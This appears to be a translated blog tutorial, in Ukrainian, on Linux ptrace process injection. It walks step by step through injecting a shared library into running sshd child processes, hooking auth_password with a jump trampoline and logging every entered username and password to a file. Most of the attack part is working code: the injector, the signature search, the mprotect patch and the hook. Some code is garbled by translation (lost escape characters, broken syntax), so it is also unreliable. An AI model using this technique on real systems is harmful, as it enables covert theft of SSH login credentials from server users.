Введення в ptrace або ін’єкція коду в sshd заради веселощів

Мета, яку я поставив, була дуже проста: дізнатися введений в sshd пароль, використовуючи ptrace. Звичайно, це дещо штучна завдання, так як є безліч інших, більш ефективних способів досягти бажаного (і з набагато меншою ймовірністю отримати SEGV), однак, мені здалося кльовим зробити саме так.

Що таке ptrace?

Ті, хто знайомий з ін’єкціями в Windows, напевно знають функції VirtualAllocEx(), WriteProcessMemory(), ReadProcessMemory() і CreateRemoteThread(). Ці виклики дозволяють виділяти пам’ять і запускати потоки в іншому процесі. У світі linux ядро надає нам ptrace, завдяки якому відладчики можуть взаємодіяти з запущеним процесом.

Ptrace пропонує кілька корисних для налагодження операцій, наприклад:

  • PTRACE_ATTACH — дозволяє приєднатися до одного процесу, поставивши на паузу отлаживаемый процес
  • PTRACE_PEEKTEXT — дозволяє прочитати дані з адресного простору іншого процесу
  • PTRACE_POKETEXT — дозволяє записати дані в адресний простір іншого процесу
  • PTRACE_GETREGS — читає поточний стан регістрів процесу
  • PTRACE_SETREGS — записує стан регістрів процесу
  • PTRACE_CONT — продовжує виконання отлаживаемого процесу

Хоча це неповний список можливостей ptrace, однак, я зіткнувся з труднощами із-за відсутності знайомих мені з Win32 функцій. Наприклад, в Windows можна виділити пам’ять в іншому процесі за допомогою функції VirtualAllocEx(), яка повертає тобі вказівник на свежевыделенную пам’ять. Так як в ptrace такого не існує, доведеться імпровізувати, якщо хочеться впровадити свій код в інший процес.

Ну що ж, давайте подумаємо про те, як захопити контроль над процесом з допомогою ptrace.

Основи ptrace

Перше, що ми повинні зробити — приєднатися до цікавить нас процесу. Щоб зробити це, достатньо викликати ptrace з параметром PTRACE_ATTACH:

ptrace(PTRACE_ATTACH, pid, NULL, NULL);

Цей виклик простий як пробка, він приймає PID процесу, до якого ми хочемо приєднатися. Коли відбувається виклик, відправляється сигнал SIGSTOP, який змушує зацікавив процес зупинитися.

Після приєднання є привід зберегти стан всіх регістрів перш, ніж ми почнемо щось змінювати. Це дозволить нам відновити роботу програми пізніше:

struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);

Далі необхідно знайти місце, куди ми зможемо записати наш код. Найпростіший спосіб — отримати інформацію з файлу maps, який можна знайти в procfs для кожного процесу. Наприклад, “/proc/PID/maps” у запущеного процесу sshd на Ubuntu виглядає так:

Нам необхідно знайти область пам’яті, виділену з правом на виконання (швидше за все «r-xp»). Відразу, як знайдемо відповідну нам область, за аналогією з регістрами, збережемо вміст, щоб потім коректно відновити роботу:

ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);

З допомогою ptrace можна читати по одному машинному речі даних (32 біта на х86 або 64 біта на х86_64) за вказаною адресою, тобто для читання більшої кількості даних необхідно зробити кілька дзвінків, збільшуючи адресу.

Примітка: в linux так само є process_vm_readv() і process_vm_writev() для роботи з адресним простором іншого процесу. Однак, в цій статті я буду дотримуватися використання ptrace. При бажанні зробити щось своє, краще прочитати про ці функції.

Тепер, коли ми зробили резервну копію сподобалася нам області пам’яті, ми можемо почати перезапис:

ptrace(PTRACE_POKETEXT, pid, addr, word);

Аналогічно PTRACE_PEEKTEXT, цей виклик може записувати тільки по одному машинному речі за раз за вказаною адресою. Так само, для запису більше одного машинного слова потрібно безліч викликів.

Читайте також  6 способів заховати дані в Android-додатку

Після завантаження свого коду необхідно передати йому управління. Щоб не перезаписувати дані в пам’яті (наприклад, стек), ми будемо використовувати збережені раніше регістри:

struct user_regs_struct r;
memcpy(&r &oldregs, sizeof(struct user_regs_struct));

// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL &r);

Нарешті, ми можемо продовжити виконання з допомогою PTRACE_CONT:

ptrace(PTRACE_CONT, pid, NULL, NULL);

Але як ми дізнаємося, що наш код закінчив виконання? Ми будемо використовувати програмне переривання, так само відомий як інструкція «int 0x03», генеруючи SIGTRAP. Ми будемо чекати цього з допомогою waitpid():

waitpid(pid, &status, WUNTRACED);

waitpid() — блокуючий виклик, який дочекається зупинки процесу з ідентифікатором PID і запише причину зупинки в змінну status. Тут дуже до речі є купа макросів, які спростять життя у з’ясуванні причини зупинки.

Щоб дізнатися, чи була зупинка через SIGTRAP (з причини виклику int 0x03), ми можемо зробити так:

waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
 printf("SIGTRAP receivedn");
}

В цей момент наш вбудований код виконався і все, що нам потрібно відновити початковий стан процесу. Відновимо всі регістри:

ptrace(PTRACE_SETREGS, pid, NULL, &origregs);

Потім повернемо оригінальні дані в пам’яті:

ptrace(PTRACE_POKETEXT, pid, addr, word);

І отсоединимся від процесу:

ptrace(PTRACE_DETACH, pid, NULL, NULL);

На це вистачить теорії. Рушимо до більш цікавої частини.

Ін’єкція в sshd

Я повинен попередити, що є певна ймовірність упустити sshd, так що будьте обережні і, будь ласка, не намагайтеся перевіряти це на робочій системі і тим більше, на віддаленій системі через SSH 😀

Більше того, є кілька хороших способів досягти того ж результату, я демонструю саме цей виключно як веселого способу показати міць ptrace (погодьтеся, це крутіше ін’єкції в Hello World 😉

Єдине, що я хотів зробити — це отримати комбінацію логін-пароль із занедбаного sshd, коли користувач проходить аутентифікацію. При перегляді вихідного коду ми можемо бачити щось таке:

auth-passwd.c

/*
 * Tries to authenticate the user using password. Повертає true if
 * authentication succeeds.
*/
int
 auth_password(Authctxt *authctxt, const char *password)
{
...
}

Це виглядає, як відмінне місце для спроби вилучити логін/пароль, передані користувачем у відкритому вигляді.

Нам хочеться знайти сигнатуру функції, яка дозволить нам знайти її [функцію] в пам’яті. Я використовую мою улюблену утиліту для дизасемблирования, radare2:

Необхідно знайти послідовність байтів, яка унікальна і зустрічається тільки у функції auth_password. Для цього ми скористаємося пошуком в radare2:

Так сталося, що послідовність xor rdx, rdx; cmp rax, 0x400 підходить під наші вимоги і зустрічається лише один раз в усьому ELF-файл.

В якості примітки… Якщо у вас немає цієї послідовності, переконайтеся, що у вас сама нова версія, яка так само закриває уразливість середини 2016. (у версії 7.6 така послідовність так само є і унікальна — прим.пер.)

Наступний крок — ін’єкція коду.

Завантажуємо .so в sshd
Для завантаження нашого коду в sshd ми зробимо невелику заглушку, яка дозволить нам викликати dlopen() і завантажити динамічну бібліотеку, яка вже здійснить підміну «auth_password».

dlopen() — виклик для динамічної лінкування, який приймає в аргументах шлях до динамічної бібліотеки і завантажує її в адресний простір процесу викликає. Ця функція знаходиться в libdl.so, яка динамічно лінкуются до додатка.

На щастя, в нашому випадку libdl.so вже завантажена в sshd, так що нам залишається тільки виконати dlopen(). Однак, за ASLR дуже малоймовірно, що dlopen() буде в одному і тому ж місці кожен раз, так що доведеться знайти її адресу в пам’яті sshd.

Для того, щоб знайти адресу функції, потрібно порахувати зсув — різниця між адресою функції dlopen() і початковим адресою libdl.so:

unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llxn", dlopenAddr - libdlAddr);

Тепер, коли ми порахували зсув, потрібно знайти початковий адресу libdl.so з maps-файлу:

Знаючи базовий адресу libdl.so в sshd (0x7f0490a0d000, як випливає з скріншоту вище), ми можемо додати зміщення і отримати адресу dlopen(), щоб викликати з коду-ін’єкції.

Всі необхідні адреси передамо через регістри з допомогою PTRACE_SETREGS.

Так само необхідно записати шлях до вживляемой бібліотеки в адресний простір sshd, наприклад:

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
 long word = 0;
 int i = 0;

 for (i=0; i < len; i+=sizeof(word), word=0) {
 memcpy(&word, data + i, sizeof(word));
 if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
 printf("[!] Error writing process memoryn");
exit(1);
}
}
}

ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.sox00", 16)

Роблячи якомога під час підготовки ін’єкції і завантажуючи покажчики на аргументи прямо в регістри, ми можемо зробити код-ін’єкцію простіше. Наприклад:

// Update RIP to point to our code, which will be just after 
// our injected library string name
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;

// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;

// Update RDI to point to our library string name
regs.rdi = (unsigned long long)freeaddr;

// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY

// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

Тобто, код-ін’єкція досить простий:

; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03

Настав час створити нашу динамічну бібліотеку, яка буде завантажена кодом-ін’єкцією.

Перш, ніж ми рушимо далі, розглянемо одну важливу річ, яка буде використана… Конструктор динамічної бібліотеки.

Конструктор в динамічних бібліотеках
Динамічні бібліотеки можуть виконувати код при завантаженні. Для цього необхідно позначити функції декоратором “__attribute__((constructor))”. Наприклад:

#include <stdio.h>

void __attribute__((constructor)) test(void) {
 printf("Library loaded on dlopen()n");
}

Скопилировать можна простою командою:

gcc -o test.so --shared -fPIC test.c

А потім перевірити працездатність:

dlopen("./test.so", RTLD_LAZY);

Коли бібліотека завантажиться, конструктор так само викличеться:

Ми також використовуємо цю функціональність, щоб зробити наше життя простіше при ін’єкції коду в адресний простір іншого процесу.

Динамічна бібліотека sshd
Тепер, коли у нас є можливість завантажити нашу динамічну бібліотеку, потрібно створити код, який змінить поведінку auth_password() у часі виконання.

Коли наша динамічна бібліотека завантажена, ми можемо знайти початковий адресу sshd з допомогою файлу/proc/self/maps” в procfs. Ми шукаємо область з правами «r-x», в якій ми будемо шукати унікальну послідовність у auth_password():

d = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
 if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
 ptr = strtoull(buffer, NULL, 16);
 end = strtoull(strstr(buffer, "-")+1, NULL, 16);
break;
}
}

Раз у нас є діапазон адрес для пошуку, шукаємо функцію:

const char *search = "x31xd2x48x3dx00x04x00x00";
while(ptr < end) {
 // ptr[0] == search[0] added to increase performance during searching
 // no point calling memcmp if the first byte doesn't match our signature.
 if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
break;
}
ptr++;
}

Коли у нас знайшлося збіг, необхідно використовувати mprotect(), щоб змінити права на доступ до області пам’яті. Це все тому що область пам’яті доступна на читання і виконання, а для зміни на ходу потрібні права на запис:

mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)

Відмінно, у нас є право на запис в потрібну область пам’яті і тепер настав час додати до початку функції auth_password невеликий трамплін, який передасть управління в хук:

char jmphook[] = "x48xb8x48x47x46x45x44x43x42x41xffxe0";

Це еквівалентно такого коду:

mov rax, 0x4142434445464748
jmp rax

Звичайно, адресу 0x4142434445464748 нам не підходимо і він буде замінений на адресу нашого хука:

*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;

Тепер ми можемо просто вставити наш трамплін у sshd. Щоб ін’єкція була красивою і чистою, вставимо трамплін в самий початок функції:

// Step back to the start of the function, which is 32 bytes 
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));

Тепер ми повинні реалізувати хук, який буде займатися логгированием проходять даних. Ми повинні бути впевнені, що зберегли всі регістри до початку хука і відновлено перед поверненням до оригінального коду:

Вихідний код хука

// Remember the prolog: push rbp; mov rbp, rsp; 
// that takes place when entering this function
void passwd_hook(void *arg1, char *password) {
 // We want to our store registers for later
 asm("push %rsin"
 "push %rdin"
 "push %raxn"
 "push %rbxn"
 "push %rcxn"
 "push %rdxn"
 "push %r8n"
 "push %r9n"
 "push %r10n"
 "push %r11n"
 "push %r12n"
 "push %rbpn"
 "push %rspn"
);

 // Our code here is used to store the username and password
 char buffer[1024];
 int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);

 // Note: The magic offset of "arg1 + 32" contains a pointer to 
 // the username from the passed argument.
 snprintf(buffer, sizeof(buffer), "Password entered: [%s] %sn", *(void **)(arg1 + 32), password);
 write(log, buffer, strlen(buffer));
close(log);

 asm("pop %rspn"
 "pop %rbpn"
 "pop %r12n"
 "pop %r11n"
 "pop %r10n"
 "pop %r9n"
 "pop %r8n"
 "pop %rdxn"
 "pop %rcxn"
 "pop %rbxn"
 "pop %raxn"
 "pop %rdin"
 "pop %rsin"
);

 // Recover from the function prologue
 asm("mov %rbp, %rspn"
 "pop %rbpn"
);
...

Ну і це все… в якомусь сенсі…

На жаль, після всього зробленого, це ще не все. Навіть якщо ін’єкція коду в sshd вдалася, можна помітити, що шукані паролі все ще недоступні. Це пов’язано з тим, що sshd на кожне з’єднання створює нового дитини. Саме новий дитина обробляє підключення і саме у нього ми повинні встановити хук.

Щоб бути впевненим, що ми працює з дітьми sshd, я вирішив сканувати procfs на stats файли, в яких зазначено Parent PID sshd. Як тільки знаходиться такий процес, інжектор запускається і для нього.

В цьому є навіть свої плюси. Якщо все піде не за планом і код-ін’єкція впаде з SIGSEGV, буде убитий тільки процес одного користувача, а не батьківський процес sshd. Не найбільша розрада, але воно явно робить налагодження простіше.

Сподіваюся, це подорож подарувало тобі достатньо інформації для того, щоб потикати ptrace самостійно.

Хочу подякувати наступних людей і сайти, які допомогли розібратися з ptrace:

  • Інструментарій Gaffe23 для ін’єкції динамічних бібліотек — github.com/gaffe23/linux-inject
  • Прекрасна робота EvilSocket за ін’єкцій в процес — www.evilsocket.net/2015/05/01/dynamically-inject-a-shared-library-into-a-running-process-on-androidarm

Степан Лютий

Обожнюю технології в сучасному світі. Хоча частенько і замислююся над тим, як далеко вони нас заведуть. Не те, щоб я прям і знаюся на ядрах, пікселях, коллайдерах і інших парсеках. Просто приходжу в захват від того, що може в творчому пориві вигадати людський розум.

Вам також сподобається...

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *